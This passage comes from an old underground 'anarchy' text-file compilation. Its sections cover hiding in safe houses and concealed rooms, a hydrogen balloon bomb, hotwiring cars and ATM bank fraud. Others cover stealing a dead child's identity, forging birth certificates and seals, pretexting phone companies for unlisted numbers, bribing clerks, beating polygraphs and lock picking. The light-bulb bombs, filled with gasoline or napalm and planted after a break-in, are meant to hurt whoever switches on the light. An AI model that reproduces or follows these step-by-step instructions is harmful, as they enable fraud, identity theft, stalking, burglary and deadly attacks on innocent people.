	If you decide to spend much time on the streets, it helps to appear to be a bit crazy. Not crazy enough to get the police involved, but crazy enough so that people will go out of their way to avoid you. That way, you may be noticed but you will never be recognized as someone actually wanted by anybody.



5) Live in Safe Houses:



	During antebellum days, escaping slaves from the South frequently availed themselves of the "underground railroad" and "safe houses" to escape to the North (even Canada) and to live in

freedom. More recently, thousands of draft dodgers and deserters spent the Vietnam war hiding out in safe houses. Today, foreign refugees seeking safety from brutal governments there and economic opportunity here, as well as abused women and children, routinely make use of safe houses to stay hidden. In every war-torn society, whether your talking about World War II Europe or Kuwait after Iraq's Invasion, a reliable safe house an spell the difference between life and death, and people spend years in them.



	A "safe house" is a home or other building whose occupants are close friends or relatives, or who are sympathetic to your plight, allow you to live with them without becoming known as a member of the house. Especially for women and children, this is the safest way of going. But remember, a safe house is only as safe as its occupants are reliable for keeping secrets. Safe houses an be operated  alone or in a network. In the network situation, you stay a short time at one safe house, then move on to another and so forth.



	That way, you have more freedoms and are less likely to suffer from cabin fever, but by the time your neighbors begin to get overly curious about you, you're gone. Networking is most frequently done with relatives and churches.



	Safe houses can take other forms. A common form is that of the "shack job." Here you live with someone usually about your age, usually for romantic reasons, while not being married to them. The house, car, etc. are all in their names. You just occupy their home. Shack jobs are so common these days, that almost no one except old biddies will even remark about them. It is an excellent way to hide out while still maintaining a relatively normal life.

	

	Another form of safe house is the live-in or domestic servant. This works particularly well in richer neighborhoods and around the Mexican border, where almost anyone with a middle class or above lifestyle has at least one domestic. There are many incapacitated men and women who live alone or semi-alone who would give almost anything to have someone around. Perhaps to nurse them. Or perhaps as just company and a form of security. And if you have some special skills - handy with tools, great at gardening, a super good cook - you can almost write your own ticket. To get on with someone, just refer to the Personals in your newspaper or write your own ad. When the person interviews you and shows some interest in you, you might say something like, "You know, I've given you my true name. When I used to live in LA, there was this person constantly bothering me for money. Just to be sure that he doesn't find me here to bother me again, it is important to me to live with as low of a profile as possible."



(6) 	Live in Hiding Places:



	This is more akin to the horror movie about the mutant twin that lives in the attic then living a "normal" life. Many homes have attics and-or basements that can be easily adapted to hiding a person or people. And other places in a home an be modified to at least temporarily conceal a person. If the home has a crawl space, a trap door can be made so that a person can quickly slide underneath the building for a short period.



	Another excellent method is to wall over a closet, and then to build-in some secret means of entry.  For example, many homes with hallways have hall closets. However it's not unusual to not find a hall closet in a hallway. If you have a hall closet, pull off the door and door frame. Then construct framing and wallboard over it to match with the hall's wall construction. Then paint/panel/paper the entire hall so that all evidence of the hall closet disappears without a trace.



	An entry to the hall closet can be made from the attic, basement, outside or from the room on the other side. The ideal method is if there is a sink and cabinet on the other side of the hall closet. Install a sliding door at the back of the s ink cabinet that will take you to the hall closet. Sprinkle around a lot of dead roaches, some white powder that looks like it's deadly poison and a few rusty mousetraps. Then slap in an old mop bucket or basket filled with bleach, drain cleaner and other foul containers to conceal the back of the cabinet and to discourage further inspection. Just below the top of the cabinet, you might run a 1/4-inch copper water line into the closet and put a little faucet on it so that the occupant won't get thirsty. Add a stool, a spare bulb, some reading material, some ready-to-eat food, and possibly a floor drain to handle wastes and a person can stay concealed for days if he has to.



	The floor of the closet might also open up to an escape tunnel to the outside, particularly to the perimeter of the property. For example, it might open up at a hedgerow, beneath a garbage can platform, etc. An escape tunnel is difficult to implement but often well worth the effort for these reasons:



(1) 	If someone attempts to burn you out of the house, you can slip into the escape tunnel for safety, and then later at night exit the tunnel and escape.



(2) 	If your home is taken from you (ex: the banking big- shots steal it from you), you can return to ive in it, even if other4 people later occupy it.



Hindenberg Bomb  By: The Jolly Roger



Materials:

1 Balloon

1 Bottle

1 Liquid Plumber

1 Piece Aluminum foil

1 Length Fuse



Procedure:  Fill the bottle 3/4 full with Liquid Plumber and add a little piece of aluminum foil to it. Put the balloon over the neck of the bottle until the balloon is full of the resulting gas.  This is highly flammable hydrogen. Now tie the balloon.  Now light the fuse, and let it rise. When the fuse contacts the balloon, watch out!



Hotwire cars By the Jolly Roger



	Get in the car. Look under the dash. If it enclosed, forget it unless you want to cut through it. If you do, do it near the ignition. Once you get behind or near the ignition look for two red wires. In older cars red was the standard color, if not, look for two matched pairs. When you find them, cross them and take off!                                



High Class Theft  By: Exodus



Preface:  This is not a particularly easy scam to pull off, as it requires either advanced hacking techniques (TRW or banks) or serious balls (trashing a private residence or outright breaking & entering), but it can be well worth your while to the tune of $500 (that’s five hundred) dollars a day.



Laws that will be broken:  Credit Fraud, Wire Fraud, Bank Fraud, Mail Fraud, Grand Theft, Forgery, and possibly a few others in the course of setting the scheme up.



Step 1:  Choose your victim.  The kind of person you are looking for is rich, VERY Rick.



	Now don’t go and try to hit on JP Getty or Johnny Carson, or someone who carries high name recognition.  This will just get you into trouble as everyone notices a famous person’s name floating across their desk.  Instead go for someone who owns a chain of hog feed stores, or something discreet like that. We targeted a gentleman who is quite active in the silver market, owner several mines in South Africa and not want it to be widely known (he had no desire to be picketed)



	Next step, take out a p.o. box in this person’s name.  Now comes the fun part, requiring some recon on your part.  You need to know some fairly serious details about this person’s bank dealings.



1  Find out what bank he deals with mainly.  This is not too difficulty as a quick run though is office trash will let you find deposit carbons, withdrawal receipts, or “anything” that has the bank name on it.



2  Find out the account number(s) he has at the bank.  The can usually be found on the above mentioned receipts.  If not you can get them in TRW (easier said than done) or you can con them out of a hassled bank teller over the phone.  (Use your imagination.  Talk slowly and understandingly and give plausible excuses.  “I work for his car dealer ship, and we need to transfer into his account”)



2a  While doing this try to find out if he has an ATM card.  You don’t need to know the numbers or anything, just if the card exists.  This can be ascertained over the phone if you cajole properly.



3  Goto War



	Obtain some nice (ivory quality) stationary. It doesn’t have to be engraved or anything, but a $5 or $10 investment to put a letterhead head with his initials or something couldn’t hurt.  The most important thing is that it looks good.  Then type a letter to the bank notifying them of your address changes.  Some banks have forms you have to fill out for that sort of thing, so you need to check with the bank first (anonymously of course)  You will have to have a good copy of his signature on hand to sign all forms and letters (if needs be trash his office)  Then call the bank to verify the new address.



	Immediately upon verifying the change of address, send a second letter.  If he already has an ATM card, request a second card with the business name engraved in it to be sent for company use.  If he doesn’t have an ATM card, the letter should request one for account number xx-xxxxxx.  Ask for two cards, one with the wife’s name, to add authenticity.  Goto the bank and ask for a list of all ATMs on the bank’s network.  Often the state has laws that all machines take all cards, so you’ll probably be in good shape



	Await for the new cards. The PIN (personal identification number) is included when they send out a card.  After picking up the card, forget you ever knew where the p.o. box was, and make sure you didn’t leave any fingerprint.



	Begin making the daily max. draw on the card.  In most cases it is $500 a day.  Use a different machine each time.  Often the machines have cameras on them so wear a hat and sunglasses.  Tot he cut the number of trips in half, go at a few minutes before midnight.  That way you make one withdrawal before midnight and one fright after.  Be careful, because the police or bank officials may spot the pattern and start watching machines around midnight.



	Before using the card, wipe all fingerprints from it.  The first hint you have been caught is that the machine will keep the card.  Also, unless you are in a big town (Chicago, Milwaukee, Dallas) do not use machines in your own town.



Identity, Getting a new one  By: The Walking Glitch



           You might be saying, "Hey Glitch, what do I need a new identity for?" The answer is simple. You might want to go buy liquor somewhere, right? You might want to go give the cops the false name when you get busted so you keep your good name, eh?  You might even want to use the new identity for getting a PO Box for carding. Sure! You might even want the stuff for renting yourself a VCR at some dickless loser of a convenience store. Here we go: Getting a new ID isn't always easy, no one said it would be. By following these steps, any bozo can become a new bozo in a couple weeks.



STEP 1: The first step is to find out who exactly you'll become. The most secure way is to use someone's ID who doesn't use it themselves. The people who fit that bill the best are dead. As an added bonus they don't go complaining one bit. Go to the library and look through old death notices. You have to find someone who was born about the same time as you were, or better yet, a year or two older so you can buy booze, etc. You should go back as far as you can for the death because most states now cross index deaths to births so people can't do this in the future. The cutoff date in Wisconsin is 1979, folks in this grand state gotta look in 1978 or earlier. Anything earlier there is cool. Now, this is the hardest part if you're younger. Brats that

young happen to be quite resilient, taking' falls out of three story windows and eating rat poison like its Easter candy, and not a scratch or dent. There ain't many that die, so ya gotta look your ass off. Go down to the library and look up all the death notices you can, if it's on microfilm so much the better. You might have to go through months of death notices though, but the results are well worth it. You gotta get someone who died locally in most instances: the death

certificate is filed only in the county of death. Now you go down to the county courthouse in the county where he died and get the death certificate, this will cost you around $3-$5 depending on the state you're in. Look at this hunk of paper, it could be your way to vanish in a cloud of smoke when the right time comes, like right after that big scam. If You're lucky, the slobs parents signed him up with social security when he was a snot nosed brat. That'll be another piece of ID you can get. If not, that’s OK too. It'll be listed on the death certificate if he has one. If you're lucky, the stiff was born locally and you can get his birth certificate right away.



STEP 2:  Now check the place of birth on the death certificate, if it's in the same place you standing now you're all set. If not, you can mail away for one from that county but its a minor pain and it might  take a while to get, the librarian at the desk has listings of where to write for this stuff and exactly how much it costs. Get the Birth certificate, its worth the extra money to get it certified because that’s the only way some people will accept it for ID. When your getting this stuff the little forms ask for the reason you want it, instead of writing in "Fuck you", try putting in the word "Genealogy". They get this all the time.  If the Death certificate looks good for

you, wait a day or so before getting the certified birth certificate in case they recognize someone wanting it for a dead guy.



STEP 3:  Now your cooking! You got your start and the next part's easy. Crank out your old Dot matrix printer and run off some mailing labels addressed to you at some phony address. Take the time to check your phony address that there is such a place. Hotels that rent by the month or large apartment buildings are good, be sure to get the right zip code for the area. These are things that the cops might notice that will trip you up.  Grab some old junk mail and paste your new labels on them. Now take them along with the birth certificate down to the library. Get a new library card. If they ask you if you had one before say that you really aren't sure because your family moved around alot when you were a kid. Most libraries will allow you to use letters as a form of ID when you get your card. If they want more give them a sob story

about how you were mugged and got your wallet stolen with all your identification. Your card should be waiting for you in about two weeks. Most libraries ask for two forms of ID, one can be your trusty Birth Certificate, and they do allow letters addressed to you as a second form.



STEP 4:  Now you got a start, it isn't perfect yet, so let's continue. You should have two forms of ID now. Throw away the old letters, or better yet stuff them inside the wallet you intend to use with this stuff. Go to the county courthouse and show them what nice ID you got and get

a state ID card. Now you got a picture ID. This will take about two weeks and cost about $5, its well worth it.



STEP 5:  If the death certificate had a social security number on it you can go out and buy one of those metal SS# cards that they sell. If it didn't, then you got all kinds of pretty ID that shows exactly who you are. If you don't yet have an SS#, Go down and apply for one, these are free but they could take five or six weeks to get, Bureaucrats you know... You can invent a SS# too if ya like, but the motto of 'THE WALKING GLITCH' has always been "Why not excellence?".



STEP 6:  If you want to go whole hog you can now get a bank account in your new name.  If you plan to do alot of traveling then you can put alot of money in the account and then say you lost the account book.  After you get the new book you take out all the cash. They'll hit you

with a slight charge and maybe tie-up your money some, but if you're ever broke in some small town that bank book will keep you from being thrown in jail as a vagrant.



	So kiddies, you got ID for buying booze, but what else? In some towns (the larger the more likely) the cops if they catch you for something petty like shoplifting stuff under a certain dollar amount, will just give you a ticket, same thing for pissing in the street. That’s it! No fingerprints or nothing, just pay the fine (almost always over $100) or appear in court.  Of course they run a radio check on your ID, you'll be clean and your alter-ego gets a blot on his record.  Your free and clear.  That’s worth the price of the trouble you've gone through right there.




Identity: Getting a new one 
II
 - Rev. Dr. Zyd



Introduction

                    


	
Just who needs to take the paper trip?  Anyone who now finds it difficult or undesirable to continue living under his/her own name - or anyone who wants to build an "escape route," just in case.  Then, there is always that person that just wants to do it to see if it can be done.  By obtaining a new identity, old problems vanish: a clean, fresh beginning awaits.  We all have our problems of varying degrees, of course: but some of us find ourselves in situations so overwhelming that an alternate identity is the only reasonable solution.




	
If an individual wants freedom, it is his/her responsibility to obtain that freedom.  This society makes that seem very difficult to attain.  Although, in fact, it's very easy to do.  That's why Big Brother tries to watch over us so closely, because it's VERY easy to slip through his grasp, 

with the right tools.  And, I'm sure, when you're through reading this, you'll agree with me when I say that the tools we need are easily attainable.

 


Birth Certificate Creation



	There are many different ways of attempting this.  We're going to go over just one of those ways.  This is the way I've seen work the best.  I've seen friends of mine use other methods and get busted for it.  Such as  counterfeiting ID, or 'borrowing' someone else's.  I've never seen someone get busted for what I'm about to impart to you.  The method that I've used (although I don't do any of this anymore - I'm retired) is creating my own birth certificates.



	There are a few concerns with creating a birth certificate.  One is, how do I make it look real?  Answer: Do you know how many different types of birth certificates are out there?  The federal government could never implement a standard birth certificate.  Nearly 7,000 local offices still - to this day - issue birth certificates.  That's 7,000 different agencies, today.  I can assure you that none of these forms are standard.  Sometime when you get a chance, take a look at a friend's birth certificate, 99% of the time, it will be different.  Most agencies, also, change the birth 

certificate every year.  We'll go over more concerns later...



Supplies



	What supplies will you need?  Well, here's a list: A typewriter (preferably a model within 3-5 years within the birth date on the new birth certificate); you can usually pick one up at the goodwill, or ARC for about $7-$9.  If you can't find one anywhere, then go to an old library around town.  They, usually, have an old typewriter for hourly rent of about a quarter.  Next, you will need your own birth certificate, some white out, some good, almost card stock paper (something that will look sort of official) or, you can use a stock of paper that is similar to the stock that your birth certificate is printed on, because, just like the forms, paper stock has never been uniform.  I've seen birth certificates covering the whole range of paper stock - from card stock to regular white paper.  Although the closer you get to card stock, the more 'official' your document will look.  Then, you'll need a couple of friends, or for you to be VERY good at altering your own handwriting.  Last, you will need an embosser with 1 - 2 embossing stamps.




Action




     Now, you're ready to begin!  Isn't this fun, already?



	Take your birth certificate, and white out all of the typed information.  If you just can't get a clean copy, then get Paper Trip 2,  there's a great copy of a fairly standard - looking birth certificate, on page 44.  Make a copy of it and white out where it says, "Sample", and you've got yourself a birth certificate.  Ok, now, go get a couple of copies of this form on blank, white, paper, as well as the 'special' paper.  Then, put the original, and the blank white copies, away somewhere (this is now your 'master' document).  Now, decide all of the information that's going

to go on the certificate.  Decide what your name is gonna be, who were your parents, what was their occupations (most occupations of mothers in the country is 'housewife').  Try and stick to some fairly traditional names for the folks.  Somehow, find out where some remote county in some state like Kansas is, and get a feel for how they address there.  You want an address 

that is outside of the town, at some 'Rural Route'.  Try and place it in a county instead of a town or city.  That makes it very difficult for anyone to verify the birth.  If asked any questions, you were born in the house.  



	Then, on 5-10 of the copies on 'special' paper, type in the new information.  This is the tricky part.  You'll probably want to type with one finger, being VERY sure you don't make any typo's - this is the most frustrating part of making these!  The reason you want so many copies is because you have everyone sign all of them, and see which signatures you like the best.

You can only do one copy, but you wont be as pleased - trust me.



     	Now, have the people you've assembled sign the documents.  You're going to need anywhere from 3 to 5 signatures, depending on the certificate.  Sometimes, if you can change your handwriting in such a way that it doesn't look like your own but is still fluid enough to look like a real signature, people do all of the signatures themselves.  This is a little risky, because, no matter how good you are, it's hard to sign a document - fluidly - in three different signatures. When I was still doing this, I was making several different birth certificates at a time - not just one.  So, 

I'd practice one signature until I had it down pat, and sign all of the certificates that way.  Then I'd practice the next signature, and sign the next batch.  If you're going to do this: you can usually get away with the same signature on 6 certificates - no more.  



	And when you sign them, place them in different spots on the document, IE. On one document, John Smith is the father, and on another, he's the doctor, and on a third, he's witness, etc...



     The most important thing about all of this is to be very careful!!!  Until you turn this document in to get a driver's licence or a state ID, it's VERY illegal, due to no other documents backing it up!  It's better to be safe then go to jail for a long time!  I did this for a long time and never got caught.  That's because I was careful, K?



	Now is time for the Seal.  This is my favorite part!  The best, and fastest way, to locate a source of these tools is to check the Yellow Pages under the headings: "Seals - Corporation and Notary" and "Rubber Stamps."  The way that I've gotten seals before is going to an office supply store that produces these seals, and ordered one with the state emblem (from the state of your choice) in the center, the name of the county and state at the bottom, and the word, "custodian" on the top.  I've seen many birth certificates with the "custodial" seal on it, it passes wonderfully. And the way you justify ordering it is by telling the guy that your uncle is a janitor in whatever county you order it in, and his birthday is coming up, so you thought you'd surprise him....  I think you get the picture.



	Now, before you seal the certificate, decide whether this certificate is gonna be an original, or if it's a brand new certified copy.  If your gonna do a new one, then seal it regularly.  If your gonna do an older one, then seal it kinda lightly, still leaving a permanent mark, but kinda fadedover time...  Then, date it appropriately.  Now, when you date it, keep in mind that most of the birth certificates are certified on the first of the month.  So, if your birth date is May 14th, then it would have been certified on June 1st.




	
Then, your pretty much done.  There are many ways to age a certificate fast, in a lot of books out there, so I won't go over them here.  But, my favorite way of aging a document is to fold it in thirds and then in half.  Let it sit in your back pocket for two weeks of so.  Then pull it out and 
0
re-fold it in quarters and stick it in your back pocket for a month or so.  Make sure that your NOT keeping it from getting dirty.  Then, when your done 'aging' it, take it out, lightly clean it, and there you go.  Now re-fold itin quarters and stick it in a place for safe keeping. Make sure that your seal didn't fade completely, though!




	
Well, there you have it.  The simplest and cheapest method for  obtaining a completely new identity.  Keep in mind though, you'll go through a few typewriters.  And, this birth certificate is illegal ONLY until you obtain a driver's license.  




	
A word about driver's license - it's the easiest id to obtain.  You don't need a social security number to get one, and you do in order to get a state id in most states.  Then, after you get an id, you can go get a social security number.  Be prepared to answer a few questions as to why you don't have one yet.  I'd do a little reading up first, and buy the books I suggested you buy before you tackle this one.  I used the excuse that I was a monk in some religious order and had taken a vow of poverty...  I'm sure you get the idea.  I used that one, because I knew that, legally speaking, a religious person that takes a vow of poverty, doesn't have to apply for a SSN. So, read up, and have fun!





 Information on Anyone  By: Dark Creaper



Part I: DPAC offices



 	Every city has one or more offices dedicated to assigning numbers to the telephone wire pairs.  These offices are called DPAC offices and are available to service Reps who are installing or repairing phones.



	To get the DPAC number, a service rep would call the old stand-by, customer service number for billing information in the town the number the phone is located in that he is trying to get the unlisted number of..  Okay?



	The conversation would go like this, 'Hi, San Fran this is Joe from San Mateo Business office.  I need your DPAC number for the south end of town.'



	The information is usually passed out with no hassle, if the first person does not have it or is not helpful, try one from a different prefix in the same city.  The rep would then call DPAC.  



NOTE:  He would have the listing info from his own district; again he is calling from a nearby town.



     ''Hi, Dee-Pac this is Joe from San Mateo Phone Store, I need the listing for 812 First Street.''



	The San Francisco will then give the number at the address requested. There is no notation at DPAC if the number is listed or unlisted.



Part II: Rock Digging:  The Art of Turning out facts



Digging



	Without a doubt the number one, very most important thing an investigator can know is where to find information.  Out there in the jungle are books, libraries, computers, newspapers, and civil servants, all justifying their existence by collecting and storing data on you, and unfortunately: me.

	


	
One can prepare a dossier on almost any person, or company, by simply understanding the system, and knowing where and how to dig.  The finished product will be so complete it will scare you.  A background investigation done in this fashion will contain things the target himself had forgotten, along with things neither his mother nor wife ever knew.



	The following list is the most complete collection myself and a number of experts in the field could come up with.  Most of the sources listed are publicly, or semi-publicly available.  Some are considered closed. In dealing with any set of records under the control of a living person there is no such thing as a closed source.  Some simply necessitate a different plan of attack.



	Civil servants, city hall record keepers and such, are often bendable by the correct use of flattery and involving them in an ''important investigation'' to find the real father of Susie before she succumbs to the cancer.



	Bribes are often an acceptable alternative.  The key here is to determine who actually needs to be bribed.  Never go for the head of a department if a low-paid clerk has physical control of the materials.



	Many of these sources can be found at a large library, or private collection.  Rarely does one have to buy expensive directories.  When applicable I have included source suggestions.



Hunting



Telephone Directories: Most Americans are listed in a phone directory somewhere.  You can find major and many minor directories at big city libraries.  The phone company will also give you, free of charge, any directory you ask for, if it is for business purposes.



Reverse Directories: This particular edition lists the number, 771-3082, followed by the owner, Jones, Jim, and address, 69 Peyton Place.  Same sources as the other directories.



Private Telco Information: Every phone company has a list of their unpublished numbers, along with long distance call records, credit applications, where else the target has had a telephone and any additional listings or references he used on his original application.  This information comes under the control of the telco's Chief Special Agent.  He is in charge of hunting down nasties who defraud the phone company in one way or another and is probably an ex-cop or federal agent.  He usually cooperate with legitimate police agencies and may help along a PI or other person with a cause. In smaller phone companies, or outlying districts the Chief Operator will have access to this information.  Good people to make friends with.



Unlisted Numbers: There is no legal way to get an unlisted/unpublished number.  There are a couple of other ways.  The phone company puts out a small book of all unlisted numbers in their area.  A phone person can sometimes be bribed to sell a copy of this book.  If the number is actually unlisted a good private detective will have sources for it or follow my technique.



Part III:  Information Gathering



Cross Directory: Each local phone company publishes a cross directory. This book lists every address in the district by street and then gives the occupants' name and telephone number.  It does not list unlisted/unpublished numbers.  The directory is normally updated every couple of months and is rented on a subscription basis.  Many local libraries will have a copy.  Most

collection agents, some answering services and many news departments of radio and television stations will have a copy you can borrow for a moment. This directory is invaluable when tracking someone.  If you can't find their number you can at least call their ex-neighbors with a nice story and come up with some information.



City Directories: Since the 1800's R.L. Polk Company of Taylor, Michigan has published city directories for most cities in the US. Sometime later they were joined by Cole's Householder Directors, Lincoln Nebraska.  These directories are NOT based on telco information, but are compiled by having some $3.00 an hour ''investigator'' walk from house to house asking who lives there, how many in the family, the phone number, etc. If they miss anyone they leave a mail form.  Many people who would not list their phone numbers, or don't have a phone in their name, will obligingly fill out these snoop forms because of the accompanying propaganda about how important the information is. Most libraries will have at least one of the directories for their area, phone companies will list the local office of the directory compilers.  Collection agencies and news departments will have a copy of the directory.



Certificates of Existence: The government loves you.  To prove that they are constantly collecting data to verify that you exist.



	Birth Certificate: Name of child, eye color, name of father, mother's maiden name, date and place of birth, father's occupation, if couple not married at birth, name of doctor who delivered.



	Marriage Certificates: Name and place of birth for the man and woman, her maiden name, man's occupation, status of any previous marriages, birth dates and places, blood type.



	Death Certificates: Date and cause of death, doctor who signed the certificate, residence and occupation, SS number, military record, birth date and place, cemetery and funeral home names.



DMV: The Department of Motor Vehicles is a natural source for important data; in some states a call will give you the info sought, in some one mails a license number and a small fee (around $1.00) to the DMV and they will return the favor with owner info, and in some states they will not give out any details to anyone but the cops.  One approach to this problem is to go through the cops (I was hitchhiking and left something in this car, the license number is...).



Schools: A cumulative file is kept on every student from kindergarten through Ph.D. by the school involved.  This file will include such things as parents, addresses, grades, IQ, receiving and forwarding addresses.



Lie Detector Tests, How to beat them Courtesy of Arcum Daggson

	

	When someone hooks you up to a lie detector, they are measuring your physical

responses to psychological stimuli.  It's something like watching you to see if you blush.  There are four levels they can measure.



1.  Your response when you are just sitting there, not being asked anything.



2.  Your response when you are asked a question you would have no reason to lie

about.  "What is your name?"



3.  Your response when asked a question they consider personal or embarrassing to most people.  "Have you ever wondered what it would be like to have sex with your mother?"  I think only the government would have enough nerve to actually do this.



4.  Your response to the questions they suspect you might lie about.



	What they are looking for is whether your #4 responses are closer to #2 or #3, and if the difference is significant with respect to #1.



	If your response level to #3 is much higher than any of the others, you are clearly telling the truth about #4.



	If your responses to #1, #2, and #4 are low, and #3 is high, they think you are telling the truth.



	If your responses to #1, #2, #3, and #4 are all the same, they think that you are either a psychopath or extremely well-adjusted and telling the truth.



	If your responses to #1 and #2 are low but #3 and #4 are high, they think you are lying.



	If your responses to #2, #3, and #4 are high, they think you are very nervous and they call the result "inconclusive."



	This last result is easiest for normal people to fake.  Just think about something embarrassing every time they ask you a question.  Don't relax, except between questions.



	A more risky alternative would be to try to relax during the questions you're going to lie about, but not during the "embarrassing" questions.  If successful, this would produce the "normal truth" result they like the best. If it failed, it would give the "lie" result.



	If you take some sort of tranquilizer beforehand, you may be able to relax enough to get the "psychopath" response.



	One practice method would be to hook yourself up to an ohmmeter.  One wire wrapped around your left index finger, the other wrapped around your right. If the reading drops from (say) 100 K-Ohms to a third of that, you just "lied."  Wear this into a police station, or a courtroom, or to your fathers house, and practice lying.  See how you do.



Lie Detector Tests, How to beat them II By: Red Phaze



	The above file is good if you understand it, but can be fairly vague.  It also fails to mention a variety of techniques on how to pass a lie detector test.



	The first method to pass a lie detector test, is to not have to take one at all.  Normally if the cops (and I don’t know why anyone other than the cops would have you taking this test) want you to take a lie detector test, then will want you to sign a piece of paper saying they are not responsible for anything that happens to you (i.e. electric shocks from sweating, brain getting fried, etc.)  Instead, if you know that a lie detector test request is immanent, write up a form saying that they are most defiantly responsible for anything that happens to you.  Put in some huge figure, like $444 million dollars.  If they sign it, and something should happen to you, they would have to pay you this amount.



	Now, why wouldn’t they just sign this to get you to take the test?  Think about it, why do they have you sign a release form?  Obviously people in the past have gotten fried and turned around and sued the hell out of the test administrator. Therefore, if you hold them responsible you won’t have be asked to take the test.



	Ok, so you want to know how to beat the test, and not just circumvent it?  That’s easy.  



	The first way to beat it is to believe what you are saying.  People who are compulsive liar can beat lie detectors easily, because in their own mind everything they say is the truth to them.  This is the mind set you have to get yourself into if you are going to beat the test.  



	“Chicago is the capital of the United States.”



	Hell, we all know this is false, but I can answer yes to this question on a lie detector test and have it come up as if I am telling the truth.  Why?  Because in my mind I believe that Chicago is the capital of the United States.  



	Another trick is to be completely at ease when you are taking the test.  Control your breathing and take the same amount of time in between each question.  A good trick is to inhale twice and exhale twice before answering each question.  Another way to do this is to count back from four each time you are going answer.  This allows you to concentrate on the counting of numbers before you answer the question.  



	Remember, you know what you have done, so don’t be surprised when they ask you something regarding that event.  After all you do know that it is coming, so be expecting it.



	So, you want more?  Well, I have more to give.



	When you take a lie detector test, they need to establish a base line, to gauge the rest of the questions off of.  Normally they need one truth and one lie.  They will ask you “Is XXX your name,”  and “Are you from Mars” (or something equally ridiculous).  You will need to answer yes to both questions.  Well, one good way to mess up their baseline, is to load the “yes” question.



	Asking you your name is 95 times out of 100 what they will ask you.  A good way to make sure they can’t use this on your baseline is believe your name is something other than what they will ask.  For instance, if they asked me they would say your name is (lets say)  Red Phaze.  Well, just add something to your name like Red Phaze OUT!  That way when they ask your is this your name, and you say yes (remember you have to say yes) you are actually lying to them.  If you lie, they can’t establish a baseline.  The beauty of it is they don’t know you are lying so they establish your baseline off of this.  By the time they are finished, their results are so fucked up they have no hope of ever deciphering it.



	A final way to beat the test is to analyze every question down so that you can pass the test without having to lie.  



	For example, if they asked me “Is your name Red Phaze?”



	I would say, “Can you spell that please?”



	“R-E-D P-H-A-Z-E”



	I would say, “I’m sorry can you write that out so I can see it”



	So that right it out, assumedly on white paper with a black or blue pen.



	In my mind RED PHAZE is not my name Red Phaze is my name.  So unless they went and got a red pen I could say “no that’s not my name” and it would come up as telling the truth.  You could also do something with the capping of your name that no-one would ever be able to guess like “Red PhAZe”  Then unless they wrote it exactly how recognize it, it would come up as a truth.



	Well, that is about the only stuff I can teach you in a text file, yet it is enough to pass everything except a high level lie detector test.  If you are in that much trouble, and are facing a high federal level lie detector test (i.e. FBI, CIA, Secret Service, NSA, etc.) then you don’t need this file, you need a priest.




Light Bulb Bombs  By: Exodus



	An automatic reaction to walking into a dark room is to turn on the light. This can be fatal, if a light bulb bomb has been placed in the overhead light socket.  A light bulb bomb is surprisingly easy to make.  It also comes with its own initiator and electric ignition system.  

	

	On some light bulbs, the light bulb glass can be removed from the metal base by heating the base of a light bulb in a gas flame, such as that of a blowtorch or gas stove.  This must be done carefully, since the inside of a light bulb is a vacuum.  When the glue gets hot enough, the glass bulb can be pulled off the metal base.  On other bulbs, it is necessary to heat the glass directly with a blowtorch or oxy-acetylene torch. In either case, once the bulb and/or base has cooled down to room temperature or lower, the bulb can be filled with an explosive material.  If the glass was removed from the metal base, it must be glued back on to the base with epoxy.  If a hole was put in the bulb, a piece of duct tape is sufficient to hold the explosive in the in the bulb.  

	

	An alternate means of processing a light bulb bomb is to file a small hole in the glass of the light bulb near the treads.  Then insert your explosive material into the bulb.

	

	Then, after making sure that the socket has no power by checking with a working light bulb, all that need be done is to screw the light bulb bomb into the socket.  Such a device has been used by terrorists or assassins with much success, since few people would search the room for a bomb without first turning on the light. 



	The ways to make a light bulb bomb are simple.  The following is a list of convenient ways to construct one.



	The first way to make one it with napalm. The process of mixing napalm can be found in the Napalm file located elsewhere in this collection.  Once the napalm is mixed, follow the above instruction to make the light bulb bomb.  



	Or, instead of napalm it is possible to put black powder into the bulb.  To acquire black powder try opening a few shotgun shells. 



Type A:



Materials



A small file.

A small funnel or medicine dropper

A small pourable container of gasoline

Slyness and lots of stealth.



Procedure:   



	Break into a someone's house. this is not completely necessary, any light bulb can be substituted.  Locate the most used room. This is very easy, just look for a mess, bottles and shit lying around, the TV in the room, worn carpeting. Locate a room with a light bulb pretty close to the light switch for maximum effect. Unscrew the light bulb, hold the bulb in exactly the way you took it out of the socket. Now take a file and file away a small section of the glass near the metal section of the bulb.  After you have a small hole, insert either a small funnel or a medicine dropper into the hole fill the bulb with gasoline so that the filament is running through the gas. Put the bulb back in the socket without spilling any of the contents. You might want to turn the bulb to get the hole on the other side of the viewers plane of vision, when turning on the lights Get your ass out of their house before they wake up or come home. When they come home, whoever turns the lights on is going to get a hell of a surprise!




Lock Picking  By: Gunznbombz LTD



     	If it becomes necessary to pick a lock to enter a lab, the world's most effective lock pick is dynamite, followed by a sledgehammer.  There are unfortunately, problems with noise and excess structural damage with these methods.  The next best thing, however, is a set of army issue lock picks.   These, unfortunately, are difficult to acquire. If the door to a lab is locked, but the dead bolt is not engaged, then there are other possibilities. The rule here is: if one can see the latch, one can open the door. There are several devices which facilitate freeing the latch from its hole in the wall. Dental tools, stiff wire ( 20 gauge ), specially bent aluminum from cans, thin pocket- knives, and credit cards are the tools of the trade. 



	The way that all these tools and devices are uses is similar: pull, push, or otherwise move the latch out of its hole in the wall, and pull the door open. This is done by sliding whatever tool that you are using behind the latch, and pulling the latch out from the wall. To make an aluminum-can lock pick, terrorists can use an aluminum can and carefully cut off the can top and bottom. Cut off the cans' ragged ends. Then, cut the open-ended cylinder so that it can be flattened out into a single long rectangle. This should then be cut into inch wide strips. Fold the strips in 1/4 inch increments (1). One will have a long quadruple-thick 1/4 inch wide strip of aluminum. This should be folded into an L-shape, a J-shape, or a U-shape. This is done by folding. The pieces would look like this:



 (1)



        _________________________________________________________    v

1/4     |_______________________________________________________|    |

1/4     |_______________________________________________________|    | 1 inch

1/4     |_______________________________________________________|    |

1/4     |_______________________________________________________|    |

                                                                     ^



     Fold along lines to make a single quadruple-thick piece of aluminum. This should then be folded to produce an L, J, or U shaped device that looks like this:









                       __________________________________________

                      / ________________________________________|

                     | |

                     | |          L-shaped

                     | |

                     | |

                     |_|



                       _____________________________

                      / ___________________________|

                     | |

                     | |     J-shaped

                     | |

                     | |________

                      \________|





                       _____________________

                      / ___________________|

                     | |

                     | |

                     | |     U-shaped

                     | |

                     | |____________________

                      \____________________|






	
A
ll of these devices should be used to hook the latch of a door and pull the latch out of its hole.  The folds in the lock picks will be between the door and the wall, and so the device will not unfold, if it is made properly.



Lock Picking for the Extreme Beginner  By: Acid Flesh





